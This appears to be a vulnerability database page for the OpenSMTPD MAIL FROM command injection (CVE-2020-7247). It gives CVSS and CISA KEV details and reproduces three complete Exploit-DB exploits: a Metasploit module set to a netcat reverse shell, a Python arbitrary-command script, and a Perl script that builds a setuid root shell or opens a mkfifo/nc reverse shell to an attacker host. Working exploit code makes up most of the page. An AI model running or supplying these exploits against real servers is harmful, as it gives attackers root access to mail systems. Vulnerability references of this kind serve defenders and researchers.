Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-78 |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
|
| CWE-755 |
Improper Handling of Exceptional Conditions
The product does not handle or incorrectly handles an exceptional condition. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : OpenSMTPD Remote Code Execution Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-03-24 23h00 +00:00
Action is due : 2022-04-14 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 48038
Publication date : 2020-02-09 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Expect
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution',
'Description' => %q{
This module exploits a command injection in the MAIL FROM field during
SMTP interaction with OpenSMTPD to execute code as the root user.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu', # Module
'RageLtMan <rageltman[at]sempervictus>' # Module
],
'References' => [
['CVE', '2020-7247'],
['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3']
],
'DisclosureDate' => '2020-01-28',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [
['OpenSMTPD >= commit a8e222352f',
'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
))
register_options([
Opt::RPORT(25),
OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])
end
def check
connect
res = sock.get_once
return CheckCode::Unknown unless res
return CheckCode::Detected if res =~ /^220.*OpenSMTPD/
CheckCode::Safe
rescue EOFError, Rex::ConnectionError => e
vprint_error(e.message)
CheckCode::Unknown
ensure
disconnect
end
def exploit
unless datastore['ForceExploit']
unless check == CheckCode::Detected
fail_with(Failure::Unknown, 'Set ForceExploit to override')
end
end
# We don't care who we are, so randomize it
me = rand_text_alphanumeric(8..42)
# Send mail to this valid recipient
to = datastore['RCPT_TO']
# Comment "slide" courtesy of Qualys - brilliant!
iter = rand_text_alphanumeric(15).chars.join(' ')
from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;"
# This is just insurance, since the code was already written
if from.length > 64
fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars')
elsif (badchars = (from.chars & target['MyBadChars'])).any?
fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}")
end
# Create the mail body with comment slide and payload
body = "\r\n" + "#\r\n" * 15 + payload.encoded
sploit = {
nil => /220.*OpenSMTPD/,
"HELO #{me}" => /250.*pleased to meet you/,
"MAIL FROM:<#{from}>" => /250.*Ok/,
"RCPT TO:<#{to}>" => /250.*Recipient ok/,
'DATA' => /354 Enter mail.*itself/,
body => nil,
'.' => /250.*Message accepted for delivery/,
'QUIT' => /221.*Bye/
}
print_status('Connecting to OpenSMTPD')
connect
print_status('Saying hello and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: sock,
timeout: datastore['ExpectTimeout'],
newline: "\r\n"
)
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
disconnect
end
end
Exploit Database EDB-ID : 47984
Publication date : 2020-01-29 23h00 +00:00
Author : 1F98D
EDB Verified : Yes
# Exploit Title: OpenSMTPD 6.6.1 - Remote Code Execution
# Date: 2020-01-29
# Exploit Author: 1F98D
# Original Author: Qualys Security Advisory
# Vendor Homepage: https://www.opensmtpd.org/
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1
# Version: OpenSMTPD < 6.6.2
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2020-7247
# References:
# https://www.openwall.com/lists/oss-security/2020/01/28/3
#
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately
# escape dangerous characters from user-controlled input. An attacker
# can exploit this to execute arbitrary shell commands on the target.
#
#!/usr/local/bin/python3
from socket import *
import sys
if len(sys.argv) != 4:
print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0]))
print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
sys.exit(1)
ADDR = sys.argv[1]
PORT = int(sys.argv[2])
CMD = sys.argv[3]
s = socket(AF_INET, SOCK_STREAM)
s.connect((ADDR, PORT))
res = s.recv(1024)
if 'OpenSMTPD' not in str(res):
print('[!] No OpenSMTPD detected')
print('[!] Received {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] OpenSMTPD detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250' not in str(res):
print('[!] Error connecting, expected 250')
print('[!] Received: {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] Connected, sending payload')
s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8'))
res = s.recv(1024)
if '250' not in str(res):
print('[!] Error sending payload, expected 250')
print('[!] Received: {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')
Exploit Database EDB-ID : 48051
Publication date : 2020-02-10 23h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes
# Exploit Title: OpenSMTPD 6.6.1 - Local Privilege Escalation
# Date: 2020-02-02
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.opensmtpd.org/
# Version: OpenSMTPD 6.4.0 - 6.6.1
# Tested on: OpenBSD 6.6, Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1
# CVE: CVE-2020-7247
#!/usr/bin/perl
#
# raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD
# Copyright (c) 2020 Marco Ivaldi <
[email protected]>
#
# smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and
# other products, allows remote attackers to execute arbitrary commands as root
# via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL
# FROM field. This affects the "uncommented" default configuration. The issue
# exists because of an incorrect return value upon failure of input validation
# (CVE-2020-7247).
#
# "Wow. I feel all butterflies in my tummy that bugs like this still exist.
# That's awesome :)" -- skyper
#
# This exploit targets OpenBSD's OpenSMTPD in order to escalate privileges to
# root on OpenBSD in the default configuration, or execute remote commands as
# root (only in OpenSMTPD "uncommented" default configuration).
#
# See also:
# https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
# https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/
# https://www.kb.cert.org/vuls/id/390745/
# https://www.opensmtpd.org/security.html
#
# Usage (LPE):
# phish$ uname -a
# OpenBSD phish.fnord.st 6.6 GENERIC#353 amd64
# phish$ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor), 0(wheel)
# phish$ ./raptor_opensmtpd.pl LPE
# [...]
# Payload sent, please wait 5 seconds...
# -rwsrwxrwx 1 root wheel 12432 Feb 1 21:20 /usr/local/bin/pwned
# phish# id
# uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel)
#
# Usage (RCE):
# raptor@eris ~ % ./raptor_opensmtpd.pl RCE 10.0.0.162 10.0.0.24 example.org
# [...]
# Payload sent, please wait 5 seconds...
# /bin/sh: No controlling tty (open /dev/tty: Device not configured)
# /bin/sh: Can't find tty file descriptor
# /bin/sh: warning: won't have full job control
# phish# id
# uid=0(root) gid=0(wheel) groups=0(wheel)
#
# Vulnerable platforms (OpenSMTPD 6.4.0 - 6.6.1):
# OpenBSD 6.6 [tested]
# OpenBSD 6.5 [untested]
# OpenBSD 6.4 [untested]
# Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 [tested]
# Other Linux distributions [untested]
# FreeBSD [untested]
# NetBSD [untested]
#
use IO::Socket::INET;
print "raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD\n";
print "Copyright (c) 2020 Marco Ivaldi <raptor\@0xdeadbeef.info>\n\n";
$usage = "Usage:\n".
"$0 LPE\n".
"$0 RCE <remote_host> <local_host> [<domain>]\n";
$lport = 4444;
($type, $rhost, $lhost, $domain) = @ARGV;
die $usage if (($type ne "LPE") && ($type ne "RCE"));
# Prepare the payload
if ($type eq "LPE") { # LPE
$payload = "cp /bin/sh /usr/local/bin/pwned\n".
"echo 'main(){setuid(0);setgid(0);system(\"/bin/sh\");}' > /tmp/pwned.c\n".
"gcc /tmp/pwned.c -o /usr/local/bin/pwned\nchmod 4777 /usr/local/bin/pwned";
$rhost = "127.0.0.1";
} else { # RCE
die $usage if ((not defined $rhost) || (not defined $lhost));
$payload = "sleep 5;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|".
"nc $lhost $lport >/tmp/f";
}
# Open SMTP connection
$| = 1;
$s = IO::Socket::INET->new("$rhost:25") or die "Error: $@\n";
# Read SMTP banner
$r = <$s>;
print "< $r";
die "Error: this is not OpenSMTPD\n" if ($r !~ /OpenSMTPD/);
# Send HELO
$w = "HELO fnord";
print "> $w\n";
print $s "$w\n";
$r = <$s>;
print "< $r";
die "Error: expected 250\n" if ($r !~ /^250/);
# Send evil MAIL FROM
$w = "MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>";
print "> $w\n";
print $s "$w\n";
$r = <$s>;
print "< $r";
die "Error: expected 250\n" if ($r !~ /^250/);
# Send RCPT TO
if (not defined $domain) {
$rcpt = "<root>";
} else {
$rcpt = "<root\@$domain>";
}
$w = "RCPT TO:$rcpt";
print "> $w\n";
print $s "$w\n";
$r = <$s>;
print "< $r";
die "Error: expected 250\n" if ($r !~ /^250/);
# Send payload in DATA
$w = "DATA";
print "> $w\n";
print $s "$w\n";
$r = <$s>;
print "< $r";
$w = "\n#0\n#1\n#2\n#3\n#4\n#5\n#6\n#7\n#8\n#9\n#a\n#b\n#c\n#d\n$payload\n.";
#print "> $w\n"; # uncomment for debugging
print $s "$w\n";
$r = <$s>;
print "< $r";
die "Error: expected 250\n" if ($r !~ /^250/);
# Close SMTP connection
$s->close();
print "\nPayload sent, please wait 5 seconds...\n";
# Got root?
if ($type eq "LPE") { # LPE
sleep 5;
print `ls -l /usr/local/bin/pwned`;
exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n";
} else { # RCE
exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; # BSD netcat
#exec "nc -vlp $lport" or die "Error: unable to execute netcat\n"; # Debian netcat
}
Products Mentioned
Configuraton 0
Openbsd>>Opensmtpd >> Version 6.6
Configuraton 0
Debian>>Debian_linux >> Version 9.0
Debian>>Debian_linux >> Version 10.0
Configuraton 0
Fedoraproject>>Fedora >> Version 32
Configuraton 0
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 19.10
References
